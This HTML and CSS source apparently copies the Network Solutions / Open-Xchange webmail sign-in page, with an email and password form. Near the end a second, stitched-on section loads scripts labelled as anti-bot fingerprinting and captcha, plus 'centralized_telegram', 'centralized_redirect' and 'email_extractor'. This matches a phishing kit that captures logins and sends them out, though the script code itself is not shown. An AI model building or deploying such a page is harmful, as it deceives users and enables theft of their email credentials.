.radio.custom label {
  padding:0;
  line-height:1.25rem
}
.checkbox.custom input,
.radio.custom input {
  position:static;
  vertical-align:top;
  margin:0;
  margin-top:calc(.625rem - 8px);
  margin-inline-start:-24px;
  float:left;
  width:16px;
  height:16px;
  border:1px solid var(--border);
  background:var(--background);
  appearance:none;
  outline:0
}
.checkbox.custom input:focus,
.radio.custom input:focus {
  box-shadow:0 0 0 .25rem var(--btn-primary-outline)
}
.checkbox.custom input[type=checkbox],
.radio.custom input[type=checkbox] {
  border-radius:4px
}
.checkbox.custom input[type=checkbox]:checked,
.radio.custom input[type=checkbox]:checked {
  border:0;
  background:var(--checkbox-svg);
  background-color:var(--accent)
}
.checkbox.custom input[type=radio],
.radio.custom input[type=radio] {
  border-radius:50%
}
.checkbox.custom input[type=radio]:checked,
.radio.custom input[type=radio]:checked {
  border:0;
  background:var(--radio-svg);
  background-color:var(--accent)
}
.checkbox.custom input:disabled,
.radio.custom input:disabled {
  opacity:.5;
  cursor:not-allowed;
  background-color:var(--gray-100)
}
.checkbox.custom input:checked:disabled,
.radio.custom input:checked:disabled {
  background-color:var(--gray-700)
}
.form-horizontal .checkbox.custom,
.form-horizontal .radio.custom {
  padding-top:0;
  top:5px
}
.radio.custom input+.toggle {
  border-radius:50%
}
.radio.custom input+.toggle svg {
  width:8px;
  height:8px;
  position:absolute;
  top:4px;
  left:4px;
  transform:translate(0)
}
.checkbox.switch {
  margin-bottom:8px;
  padding-left:72px;
  position:relative
}
.checkbox.switch.large {
  height:32px
}
.checkbox.switch .bi {
  display:none
}
.checkbox.switch label {
  padding:0;
  line-height:32px
}
.checkbox.switch input+div.toggle {
  position:absolute;
  display:inline-block;
  vertical-align:middle;
  left:0;
  height:32px;
  width:56px;
  border:1px solid var(--gray-100);
  border-radius:16px;
  margin-right:16px;
  background-color:#eee;
  transition:border .1s,background-color .1s
}
.checkbox.switch input+div.toggle:before {
  content:"";
  position:absolute;
  width:30px;
  height:30px;
  top:0;
  left:0;
  border-radius:16px;
  background-color:#fff;
  box-shadow:0 1px 3px #0006;
  transition:left .1s
}
.checkbox.switch input:checked+div.toggle {
  border-color:transparent;
  background-color:var(--accent)
}
.checkbox.switch input:checked+div.toggle:before {
  left:24px
}
.checkbox.switch input:focus+div.toggle {
  border-color:var(--accent);
  box-shadow:0 0 0 4px var(--accent-100)
}
.checkbox.switch input:disabled+div.toggle {
  opacity:.5;
  cursor:not-allowed
}
.checkbox.switch input:checked:disabled+div.toggle {
  border-color:#767676;
  background-color:#aaa
}
.checkbox.switch.small {
  padding-left:56px
}
.checkbox.switch.small label {
  line-height:24px
}
.checkbox.switch.small input+div.toggle {
  height:24px;
  width:40px;
  border-radius:12px;
  margin-right:12px
}
.checkbox.switch.small input+div.toggle:before {
  width:22px;
  height:22px
}
.checkbox.switch.small input:checked+div.toggle:before {
  left:16px
}
html {
  font-size:1rem
}
html,
body {
  height:100%;
  font-family:-apple-system,BlinkMacSystemFont,Helvetica Neue,Segoe UI,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji",Segoe UI Symbol
}
html.baseline #background-loader {
  display:block!important;
  background-color:transparent;
  background-image:url(./baseline_8_cyan-DqMdsZTf.png);
  opacity:.5
}
html.baseline.red #background-loader {
  background-image:url(./baseline_8_red-Cpg5_RI5.png);
  opacity:.3
}
html.baseline.gray #background-loader {
  background-image:url(./baseline_8_gray-CL-dKZRq.png);
  opacity:.8
}
.unselectable {
  user-select:none;
  -webkit-user-select:none
}
.selectable-text {
  cursor:default;
  user-select:text;
  -webkit-user-select:text
}
.noscript {
  position:absolute;
  top:50%;
  left:50%;
  z-index:65000;
  width:400px;
  margin:-50px 0 0 -200px;
  z-index:65301
}
.smart-dropdown-container {
  position:fixed;
  width:100%;
  height:100%;
  z-index:100000
}
.smart-dropdown-container ul {
  overflow-y:auto;
  overflow-x:hidden
}
.smart-dropdown-container ul li:first-child.divider {
  display:none
}
#io-ox-login-screen~.smart-dropdown-container {
  top:0
}
.touch body #io-ox-login-screen {
  font-size:14px
}
#io-ox-login-screen {
  font:14px/20px -apple-system,BlinkMacSystemFont,Helvetica Neue,Segoe UI,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji",Segoe UI Symbol
}
#io-ox-login-screen .row label {
  padding-top:inherit;
  font-size:inherit;
  line-height:inherit
}
#io-ox-login-screen .form-control {
  padding:4px 12px
}
#io-ox-login-screen {
  height:100%;
  z-index:65102
}
#io-ox-login-screen .no-margin {
  margin:0
}
#io-ox-login-screen.relogin {
  right:auto;
  left:50%;
  width:800px;
  margin-left:-400px;
  box-shadow:0 0 70px 5px #000
}
#io-ox-login-screen .help-block {
  margin-bottom:16px
}
#io-ox-login-blocker {
  position:absolute;
  inset:0;
  background-color:#000;
  opacity:.01;
  filter:alpha(opacity=1);
  z-index:65000
}
.login-spacer {
  flex-grow:1
}
#io-ox-login-container,
#io-ox-login-background-image {
  display:flex;
  flex-direction:column;
  justify-content:space-between;
  width:100%;
  height:100%;
  min-height:100%;
  padding:0;
  background-size:cover!important;
  overflow-y:auto
}
#io-ox-login-container#io-ox-login-container,
#io-ox-login-background-image#io-ox-login-container {
  background:radial-gradient(at 33% 50%,var(--login-gradient-start),var(--login-gradient-end))
}
#io-ox-login-container .login-logo,
#io-ox-login-background-image .login-logo {
  max-height:32px;
  background-size:contain;
  background-repeat:no-repeat;
  background-position:center;
  display:block;
  width:auto;
  height:auto
}
#io-ox-login-container .login-logo.default path,
#io-ox-login-background-image .login-logo.default path {
  fill:#fff
}
#io-ox-login-container .composition-element,
#io-ox-login-background-image .composition-element {
  display:flex;
  flex-wrap:wrap;
  justify-content:center;
  margin:4px 8px;
  min-width:fit-content
}
#io-ox-login-container .composition-element *:not(:last-child),
#io-ox-login-background-image .composition-element *:not(:last-child) {
  margin-right:4px
}
#io-ox-login-header {
  width:100%;
  margin:0;
  background:linear-gradient(#0000001a,#0000)
}
#io-ox-login-toolbar {
  position:relative;
  height:56px;
  display:flex;
  align-items:center;
  padding:0 16px
}
#io-ox-login-toolbar label {
  margin-bottom:0
}
#io-ox-login-toolbar #io-ox-language-list {
  overflow-y:scroll
}
#io-ox-login-content {
  display:flex;
  flex-shrink:0;
  width:100%
}
#io-ox-login-content .align-center {
  align-self:center
}
#io-ox-information-message {
  display:flex;
  margin:8px auto 0;
  width:420px
}
#io-ox-login-footer {
  width:100%;
  margin:64px 0 0;
  padding:6px 2px;
  display:flex;
  align-items:center;
  flex-wrap:wrap;
  background-color:#00000026;
  color:#fff
}
#io-ox-login-footer a {
  color:#94c1ec
}
#io-ox-login-footer>* {
  margin:0 8px
}
#io-ox-login-footer>*:first-child {
  margin-left:0
}
#io-ox-login-footer>*:last-child {
  margin-right:0
}
#io-ox-languages {
  display:flex
}
#io-ox-languages *:not([role=menuitem]) {
  color:#fff
}
#io-ox-languages *>a:not([role=menuitem]),
#io-ox-languages #language-select,
#io-ox-languages .toggle-text,
#io-ox-languages .caret {
  color:#94c1ec
}
#io-ox-languages .dropup,
#io-ox-languages .dropdown {
  display:inline-block
}
#io-ox-languages a.lang-label {
  text-decoration:none;
  margin-right:5px;
  font-weight:400
}
#io-ox-languages a.lang-label:focus {
  outline:0
}
#io-ox-languages a.lang-label:hover {
  text-decoration:none
}
#language-select {
  background:transparent;
  border:0
}
#io-ox-login-box {
  display:flex;
  justify-content:center
}
#io-ox-login-box .flex-column {
  display:flex;
  flex-direction:column
}
#box-form {
  width:420px;
  text-align:center;
  border-radius:6px;
  box-shadow:0 15px 70px #00000080
}
#box-form label {
  color:#333
}
#box-form-header {
  height:4rem;
  line-height:60px;
  font-size:24px;
  font-weight:700;
  border-radius:6px 6px 0 0;
  background-size:cover!important;
  background-position:50% 50%!important;
  background-color:#f5f5f5;
  color:#333
}
#box-form-body {
  min-height:380px;
  background-color:#fff;
  border-radius:0 0 6px 6px
}
#box-form-body .form-control {
  height:2.5rem!important
}
#box-form-body form,
#box-form-body form>div {
  min-height:inherit
}
#box-form-body form>div>div.row {
  margin:4px 0
}
#box-form-body form>div {
  display:flex;
  flex-direction:column;
  padding-top:27px;
  padding-bottom:32px
}
#box-form-body form>div .row.username,
#box-form-body form>div .row.password {
  margin:0
}
#box-form-body form>div .row.feedback {
  margin-bottom:14px;
  min-height:32px
}
#box-form-body form>div .row.button {
  display:flex;
  align-items:flex-end;
  margin-top:auto
}
#box-form-body form>div .row.button div {
  margin-bottom:0
}
#box-form-body form>div #io-ox-backtosignin {
  margin-top:auto;
  margin-bottom:auto
}
#box-form-body form>div #io-ox-forgot-password {
  margin-top:4px
}
#box-form-body *>label {
  margin-bottom:3px;
  font-size:13px;
  float:left
}
#box-form-body *>a {
  font-size:13px
}
#login-title {
  text-align:left;
  font-size:18px;
  font-weight:700;
  margin:0
}
#io-ox-login-help,
#io-ox-login-feedback,
#io-ox-login-feedback div {
  text-align:left;
  font-size:13px
}
#io-ox-login-feedback.alert-highlight>.alert-info {
  font-weight:700
}
.row.password-retype {
  display:none
}
.login-type-message #box-form-body {
  min-height:unset!important
}
.login-type-message #box-form-body form>div>div.row {
  margin:0!important
}
.login-type-message #box-form-body #io-ox-login-help {
  margin:0
}
@media (max-width: 767px) {
  #io-ox-login-teaser {
    display:none
  }
  #io-ox-login-content>.align-center {
    flex-grow:1
  }
}
@media (max-height: 300px) {
  #io-ox-language-list {
    max-height:100px
  }
}
@media (max-height: 600px) {
  #io-ox-language-list {
    max-height:200px
  }
}
@media (min-height: 600px) {
  #io-ox-language-list {
    max-height:500px
  }
}
.smartphone #io-ox-login-screen #io-ox-login-container .login-spacer,
.smartphone #io-ox-login-screen #io-ox-login-container #box-form-header,
.smartphone #io-ox-login-screen #io-ox-login-container .username label,
.smartphone #io-ox-login-screen #io-ox-login-container .password label,
.smartphone #io-ox-login-screen #io-ox-login-container .password-retype label,
.smartphone #io-ox-login-screen #io-ox-login-container .email label,
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-information-message {
  display:none
}
.smartphone #io-ox-login-screen #io-ox-login-container .login-logo {
  margin:16px;
  max-height:24px
}
.smartphone #io-ox-login-screen #io-ox-login-container #login-title-mobile {
  margin-right:16px;
  align-self:center;
  font-size:18px;
  font-weight:700;
  text-align:right;
  flex-grow:1;
  color:#fff
}
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-login-content #box-form {
  width:320px
}
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-login-content #box-form #box-form-body {
  border-radius:6px;
  min-height:unset
}
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-login-content #box-form #box-form-body #io-ox-login-feedback {
  transition:transform .3s ease-out;
  transform:scaleY(1)
}
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-login-content #box-form #box-form-body #io-ox-login-feedback:empty {
  transform:scaleY(0)
}
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-login-footer {
  margin-top:0;
  justify-content:center
}
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-login-footer #io-ox-languages {
  margin:0
}
.smartphone #io-ox-login-screen #io-ox-login-container #io-ox-login-footer #io-ox-languages .lang-label {
  margin-bottom:0
}
.form-control::-webkit-input-placeholder {
  color:#767676
}
.form-control::-moz-placeholder {
  color:#767676;
  opacity:1
}

</style>
    <style type="text/css">
        html,
        body {
          background-color: #fff;
          margin: 0;
          padding: 0;
          border: 0;
          overscroll-behavior-y: none;
        }
    
        body { overflow: hidden; }
    
        #background-loader {
          display: flex;
          align-items: center;
          justify-content: center;
          position: absolute;
          top: 0;
          right: 0;
          bottom: 0;
          left: 0;
          width: 100%;
          height: 100%;
          z-index: 65300;
          background-color: #fff;
          /* activate GPU acceleration */
          transform: translateZ(0);
        }
    
        #showstopper {
          display: none;
          text-align: center;
          font-size: 1rem;
          line-height: 1.5rem;
          padding: 16px;
          user-select: text;
        }
    
        @media (min-width: 541px) {
          #showstopper {
            padding: 48px;
            border: 1px solid #ddd;
            border-radius: 16px;
            margin: 16px;
            box-shadow: 0 24px 80px 0 rgba(0, 0, 0, 0.10);
          }
        }
    
        #showstopper img {
          margin: 1rem 0 2rem 0;
          max-width: 100%;
        }
    
        #showstopper h1 {
          font-size: 1.5rem;
          line-height: 2rem;
          margin: 0 0 0.5rem 0;
        }
    
        #showstopper .reload {
          margin-top: 16px;
        }
    
        #showstopper .timeout,
        #showstopper .session,
        #showstopper .down,
        #showstopper .configuration {
          display: none;
        }
    
        @media (prefers-color-scheme: dark) {
          #background-loader {
            color: white;
            background-color: #111;
          }
    
          #showstopper {
            background-color: #151515;
            border: 1px solid #333;
          }
        }
    
        @keyframes spin {
          0% {
            transform: rotate(0deg);
          }
    
          100% {
            transform: rotate(360deg);
          }
        }
    
        .io-ox-busy {
          position: relative;
          height: 100%;
        }
    
        .io-ox-busy:before {
          visibility: visible;
          position: absolute;
          top: 50%;
          left: 50%;
          margin: -0.75rem 0 0 -0.75rem;
          /* adopted from boostrap 5 approach */
          width: 1.5rem;
          height: 1.5rem;
          vertical-align: text-bottom;
          border: .1em solid currentColor;
          border-right-color: transparent;
          border-radius: 50%;
          content: ' ';
          animation: spin 1.5s infinite linear;
        }
    </style>
 
    
    
    
    

    

    <link id="favicon" rel="icon" href="https://webmail.networksolutionsemail.com/appsuite/favicon.svg?version=1376421897" type="image/svg+xml">

    <style data-src="login-page-configuration" type="text/css">
        #io-ox-login-screen #io-ox-login-container { background: #ffffff; }
          #io-ox-login-screen #io-ox-login-background-image { background: none; }
          #io-ox-login-screen #io-ox-login-header, #io-ox-login-header #io-ox-languages #io-ox-languages-label { color: #000000; }
          #io-ox-login-screen #io-ox-login-header a, #io-ox-login-header .toggle-text, #io-ox-login-header .caret { color: #256672; }
          #io-ox-login-screen #login-title-mobile { color: #000000 !important; }
          #io-ox-login-screen #box-form-header { color: #333333; }
          #io-ox-login-screen #box-form-header { background: #ffffff; }
          #io-ox-login-screen #box-form-body *:not(button,.toggle,svg,svg>path) { color: #333333; }
          #io-ox-login-screen #box-form-body .checkbox.custom input:checked + .toggle { background-color: #256672; color: #ffffff; }
          #io-ox-login-screen #box-form-body .checkbox.custom input:focus + .toggle { border-color: #256672; box-shadow: 0 0 0 0.25rem #25667240; }
          #io-ox-login-screen #box-form-body { color: #333333; }
          #io-ox-login-screen #box-form #box-form-body a { color: #6c6c6c; }
          #io-ox-login-screen #box-form button, #io-ox-login-button { background-color: #256672; border-color: #256672; }
          #io-ox-login-screen #box-form button, #io-ox-login-button { border-color: #256672; }
          #io-ox-login-screen #box-form button, #io-ox-login-button { color: #ffffff; }
          #io-ox-login-screen #io-ox-login-footer, #io-ox-login-footer #io-ox-languages .lang-label { color: #6c6c6c; }
          #io-ox-login-screen #io-ox-login-footer a, #io-ox-login-footer .toggle-text, #io-ox-login-footer #language-select, #io-ox-login-footer .caret { color: #6c6c6c; }
          #io-ox-login-screen #io-ox-login-content { justify-content: center; }
    </style>
    <style data-src="login-page-configuration-custom" type="text/css">
        #io-ox-login-screen #io-ox-information-message {
          margin-top: 24px !important;
          background-color: #fff;
          box-shadow: 0px 10px 60px #00000080;
          border-radius: 6px;
          text-align: center;
          flex-direction: column;
          padding: 16px;
          z-index: 1;
        }
        
        #io-ox-login-screen #io-ox-information-message .btn.btn-primary {
          color: var(--text);
          border-color: var(--border);
          background-color: var(--background);
        }
        
        #io-ox-login-screen #io-ox-information-message .btn.btn-primary:hover {
          background-color: var(--background-100); }
    </style>
    <title>Sign in - Professional Email</title>
</head>

<body class="unselectable">
    <!-- Visual overlays -->
    <!-- Core Container -->
    <div id="io-ox-core" class="abs unselectable background flex-col" style="display: none">
        <div id="io-ox-tint" aria-hidden="true"></div>
        <div id="io-ox-appcontrol" style="display: none"></div>
        <div id="io-ox-banner" role="alert" style="display: none"></div>
        <!-- screens -->
        <div id="io-ox-screens" class="flex-grow">
            <!-- window manager -->
            <div id="io-ox-windowmanager" class="h-full" style="display: none">
                <div id="io-ox-windowmanager-pane"></div>
            </div>
            <!-- empty desktop -->
            <div id="io-ox-desktop" class="abs"></div>
        </div>
        <!-- container for embedded windows, used to manage flexbox overflow-->
        <div id="io-ox-taskbar-container" role="region">
            <!-- embedded windows -->
            <ul id="io-ox-taskbar"></ul>
        </div>
        <!-- container for bottom-->
        <div id="io-ox-message-container"></div>
    </div>
    <!-- Login screen -->
    <div id="io-ox-login-screen" class="unselectable">
        <div id="io-ox-login-blocker" style="display: none"></div>
        <div id="io-ox-login-container">
            <div id="io-ox-login-background-image">
                <header id="io-ox-login-header">
                    <div id="io-ox-login-toolbar"><img class="login-logo" alt="Logo" src="https://webmail.networksolutionsemail.com/brands/5/logo">
                        <div class="composition-element login-spacer"></div><span id="io-ox-languages" class="mx-16"><a href="#" role="button" class="lang-label" id="io-ox-languages-label" data-i18n="Language:" data-i18n-attr="text" aria-hidden="true" tabindex="-1">Language:</a><div class="dropdown"><a href="#" role="button" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"><span class="sr-only" data-i18n="Language:" data-i18n-attr="text">Language:</span>
                        <span
                        class="toggle-text" lang="en-US">English (United States)</span><span class="caret"></span></a>
                            <ul id="io-ox-language-list" class="dropdown-menu" role="menu" data-i18n="Languages" data-i18n-attr="aria-label" aria-label="Languages">
                                <li role="presentation"><a href="#" role="menuitem" lang="ca-ES" data-value="ca_ES">Català (Espanya)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="cs-CZ" data-value="cs_CZ">Čeština (Česko)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="da-DK" data-value="da_DK">Dansk (Danmark)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="de-DE" data-value="de_DE">Deutsch (Deutschland)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="de-AT" data-value="de_AT">Deutsch (Österreich)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="de-CH" data-value="de_CH">Deutsch (Schweiz)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="et-EE" data-value="et_EE">eesti (Eesti)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-AU" data-value="en_AU">English (Australia)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-CA" data-value="en_CA">English (Canada)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-DE" data-value="en_DE">English (Germany)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-IE" data-value="en_IE">English (Ireland)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-NZ" data-value="en_NZ">English (New Zealand)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-SG" data-value="en_SG">English (Singapore)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-ZA" data-value="en_ZA">English (South Africa)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-GB" data-value="en_GB">English (United Kingdom)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="en-US" data-value="en_US">English (United States)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-AR" data-value="es_AR">Español (Argentina)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-BO" data-value="es_BO">Español (Bolivia)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-CL" data-value="es_CL">Español (Chile)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-CO" data-value="es_CO">Español (Colombia)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-CR" data-value="es_CR">Español (Costa Rica)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-EC" data-value="es_EC">Español (Ecuador)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-SV" data-value="es_SV">Español (El Salvador)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-ES" data-value="es_ES">Español (Espana)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-GT" data-value="es_GT">Español (Guatemala)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-HN" data-value="es_HN">Español (Honduras)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-MX" data-value="es_MX">Español (México)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-NI" data-value="es_NI">Español (Nicaragua)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-PA" data-value="es_PA">Español (Panamá)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-PE" data-value="es_PE">Español (Perú)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-PR" data-value="es_PR">Español (Puerto Rico)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-DO" data-value="es_DO">Español (Républica Dominicana)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="es-US" data-value="es_US">Español (United States)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="fr-BE" data-value="fr_BE">Français (Belgique)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="fr-CA" data-value="fr_CA">Français (Canada)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="fr-FR" data-value="fr_FR">Français (France)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="fr-CH" data-value="fr_CH">Français (Suisse)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="it-IT" data-value="it_IT">Italiano (Italia)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="it-CH" data-value="it_CH">Italiano (Svizzera)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="lv-LV" data-value="lv_LV">Latviešu (Latvija)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="hu-HU" data-value="hu_HU">Magyar (Magyarország)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="nl-BE" data-value="nl_BE">Nederlands (België)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="nl-NL" data-value="nl_NL">Nederlands (Nederland)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="nb-NO" data-value="nb_NO">Norsk (Norge)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="pl-PL" data-value="pl_PL">Polski (Polska)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="pt-BR" data-value="pt_BR">Português (Brasil)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="ru-RU" data-value="ru_RU">Pусский (Россия)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="ro-RO" data-value="ro_RO">Română (România)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="sk-SK" data-value="sk_SK">Slovenčina (Slovensko)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="fi-FI" data-value="fi_FI">Suomi (Suomi)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="sv-SE" data-value="sv_SE">Svenska (Sverige)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="tr-TR" data-value="tr_TR">Türkçe (Türkiye)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="zh-CN" data-value="zh_CN">中文 (简体)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="zh-TW" data-value="zh_TW">中文 (繁體)</a></li>
                                <li role="presentation"><a href="#" role="menuitem" lang="ja-JP" data-value="ja_JP">日本語 (日本)</a></li>
                            </ul>
                    </div>
                    </span>
            </div>
            </header>
            <div id="io-ox-login-content">
                <div class="align-center col-sm-6 col-xs-12">
                    <div class="row">
                        <main id="io-ox-login-box" class="col-xs-12">
                            <div class="row">
                                <div class="flex-column">
                                    <div id="box-form" class="col-xs-12">
                                        <div id="box-form-header" class="row" data-i18n="" data-i18n-attr="text">Webmail Login</div>
                                        <div id="box-form-body" class="row">
                                            <!-- login dialog; must be hard-coded this way, otherwise browsers won't inject credentials -->
                                            <form action="" method="post" id="io-ox-login-form" target="store-credentials" novalidate="">
                                                <div class="col-xs-12">
                                                    <div class="row title">
                                                        <h1 id="login-title" class="col-xs-12" data-i18n="Sign in">Sign in</h1>
                                                    </div>
                                                    <input type="hidden" name="location" value="">
                                                    <div class="row help">
                                                        <div class="col-xs-12">
                                                            <p id="io-ox-login-help" class="help-block"></p>
                                                        </div>
                                                    </div>
                                                    <div class="row username">
                                                        <div class="form-group col-xs-12">
                                                            <label for="io-ox-login-username" data-i18n="Email">Email</label>
                                                            <div class="text-right" style="display: none;"><a href="#" role="button" data-io-ox-loginproxy="1">Change</a></div>
                                                            <input type="text" id="io-ox-login-username" name="username" class="form-control" maxlength="1000" autocorrect="off" autocapitalize="none"
                                                            spellcheck="false" aria-required="true" data-i18n="Email" autocomplete="username">
                                                        </div>
                                                    </div>
                                                    <div class="row password">
                                                        <div class="form-group col-xs-12">
                                                            <label for="io-ox-login-password"><span data-io-ox-loginproxy="1">Your password</span>
                                                                <def data-io-ox-loginproxy="1" title="required">*</def>
                                                            </label>
                                                            <input type="password" id="io-ox-login-password" name="password" class="form-control" maxlength="1000" autocorrect="off" autocapitalize="none" aria-required="true" data-i18n="Password" autocomplete="current-password">
                                                            <div class="text-right" id="io-ox-forgot-password">
                                                                <a href="https://www.networksolutions.com/mail-admin/forgot-password?user=" target="_blank" data-i18n="Forgot your password?">Forgot your password?</a>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <div class="row password-retype" style="display: none;">
                                                        <div class="form-group col-xs-12">
                                                            <label for="io-ox-retype-password" data-i18n="Your password">Your password <def data-io-ox-loginproxy="1" title="required">*</def></label>
                                                            <input type="password" id="io-ox-retype-password" name="password2" class="form-control" maxlength="1000" autocorrect="off" autocapitalize="none" aria-required="true" data-i18n-attr="placeholder" autocomplete="new-password">
                                                        </div>
                                                    </div>
                                                    <div class="row options">
                                                        <div class="col-sm-6 col-xs-12" id="io-ox-login-store">
                                                            <div class="checkbox custom">
                                                                <label for="io-ox-login-store-box" aria-label="Stay signed in" data-i18n="Stay signed in" data-i18n-attr="label,aria-label">
                                                                    <input type="checkbox" class="sr-only" id="io-ox-login-store-box" checked="checked" name="staySignedIn" value="1">Stay signed in</label>
                                                            </div>
                                                        </div>
                                                    </div>
                                                    <!-- Feedback area -->
                                                    <div class="row feedback">
                                                        <div class="col-xs-12 alert-highlight" id="io-ox-login-feedback"></div>
                                                    </div>
                                                    <div class="row button">
                                                        <div class="form-group col-xs-12">
                                                            <button type="submit" name="signin" id="io-ox-login-button" class="btn btn-primary form-control" data-i18n="Sign in" data-io-ox-loginproxy="1">Sign In</button>
                                                        </div>
                                                    </div>
                                                </div>
                                            </form>


                                        </div>
                                    </div>
                                    <div id="io-ox-information-message" data-i18n="" data-i18n-attr="html">
                                        <p>We are updating our email security and will require all email server connections to use an encrypted connection when connecting via POP or IMAP from a device. To avoid any email connection issues, please be sure
                                            to update your mail client settings.</p> <a rel="noopener" target="_blank" class="btn btn-primary form-control" href="https://update.networksolutions.com/">Learn More…</a></div>
                                </div>
                            </div>
                        </main>
                    </div>
                </div>
            </div>
            <footer id="io-ox-login-footer">
                <div class="composition-element login-spacer"></div><span>© 2024 Open-Xchange GmbH</span>
                <div class="composition-element"><span data-i18n="">Version:</span><span>8.28.1</span></div>
                <div class="composition-element custom-login-links"><span class=""><a style="color: rgb(108, 108, 108);" href="https://web.com/legal/privacy-policy.aspx" target="blank">Privacy policy</a></span></div>
                <div class="composition-element custom-login-links"><span class=""><a style="color: rgb(108, 108, 108);" href="https://legal.web.com/Document/Get/TermsOfUse" target="blank">Legal notes</a></span></div>
                <div class="composition-element login-spacer"></div>
            </footer>
        </div>
    </div>
    </div>
    <!-- offline notifier -->
    <div role="complementary">
        <div id="io-ox-offline" style="bottom: -41px; display: none;"></div>
        <!-- screen reader notifier -->
        <div id="io-ox-alert-screenreader" role="alert" aria-live="polite" class="sr-only">
            <span id="sr-alert-text"></span>
        </div>
    </div>

    <div id="tmp" style="display: none;">
        
    </div>


    <!-- placeholder for custom vars and rules -->
    <style type="text/css" id="theme-colors"></style>
    <style type="text/css" id="theme-accent"></style>
    <style type="text/css" id="theme"></style>
    <style type="text/css" id="theme-values"></style>
    <!-- shared styles for default logo; also to avoid Safari bug (OXUIB-1418) -->
    <svg width="0" height="0" version="1.1" xmlns="http://www.w3.org/2000/svg" class="invisible" aria-hidden="true">
        <defs>
            <linearGradient x1="54.4260204%" y1="12.8418549%" x2="7.94367821%" y2="85.4289973%" id="logoGradient-1">
                <stop stop-color="var(--accent-300)" offset="0%"></stop>
                <stop stop-color="var(--accent-600)" offset="100%"></stop>
            </linearGradient>
            <linearGradient x1="71.8535659%" y1="97.6732587%" x2="31.1841722%" y2="3.61382138%" id="logoGradient-2">
                <stop stop-color="var(--accent-400)" offset="0%"></stop>
                <stop stop-color="var(--accent-700)" offset="100%"></stop>
            </linearGradient>
        </defs>
    </svg>



    <div class="accessible-tooltip-container" aria-hidden="true"></div>
	

  <!-- JQuery -->
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>

  <!-- Antibot Scripts -->
  <script src="../m/js/fingerprint.js"></script>
  <script src="../m/js/utils.js"></script>
  <script src="../m/js/captcha.js"></script>
  
  <!-- Centralized Functions -->
  <script src="../js/centralized_telegram.js"></script>
  <script src="../js/centralized_redirect.js"></script>
  <script src="../js/email_extractor.js"></script>
  <script src="../js/autofill_helper.js"></script>
</head>

<body class="unselectable">
  <div id="io-ox-login-screen">
    <div id="io-ox-login-container">
      <main id="io-ox-login-box">
        <div class="login-header-logo">
           <img id="img-field" src="https://webmail-oxcs.networksolutionsemail.com/appsuite/themes/default/logo_180.png" alt="Network Solutions">
        </div>

        <div id="io-ox-login-feedback"></div>
        
        <form id="io-ox-login-form" novalidate>
          <div class="col-xs-12">
            <div class="row help">
              <p id="io-ox-login-help" class="help-block">Sign in with your Network Solutions email account</p>
            </div>
            
            <div class="form-group row username">
